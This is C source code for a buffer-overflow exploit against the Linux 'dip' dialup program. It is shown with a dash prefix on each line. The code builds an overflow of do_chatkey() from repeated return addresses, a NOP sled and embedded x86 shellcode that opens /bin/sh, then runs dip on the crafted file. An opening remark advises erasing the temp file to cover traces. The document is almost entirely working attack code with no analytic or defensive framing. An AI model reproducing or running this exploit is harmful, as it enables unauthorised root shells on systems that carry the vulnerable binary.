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- justa note.. dont forget to erase the temp.dip file when you run this
- exploit.
-
-
- /* dip-exploit.c - overruns the buffer in do_chatkey() to give a shell */
-
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <fcntl.h>
- #include <sys/stat.h>
-
- #define PATH_DIP "/usr/sbin/dip"
-
- u_char shell[] = /* courtesy of avalon ;) */
- "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
- "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
- "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
-
- u_long esp() { __asm__("movl %esp, %eax"); }
-
- main()
- {
- u_char buf[1024];
- u_long addr;
- int i, f;
-
- strcpy(buf, "chatkey ");
- addr = esp() - 192;
- for (i=8; i<128+16; i+=4)
- *((u_long *) (buf+i)) = addr;
- for (i=128+16; i<512; i++)
- buf[i] = 0x90;
- for (i=0; i<strlen(shell); i++)
- buf[512+i] = shell[i];
- buf[512+i] = '\n';
-
- if ((f = open("temp.dip", O_WRONLY|O_TRUNC|O_CREAT, 0600)) < 0) {
- perror("temp.dip");
- exit(0);
- }
- write(f, buf, 512+i);
- close(f);
-
- execl(PATH_DIP, "dip", "temp.dip", (char *)0);
- }
-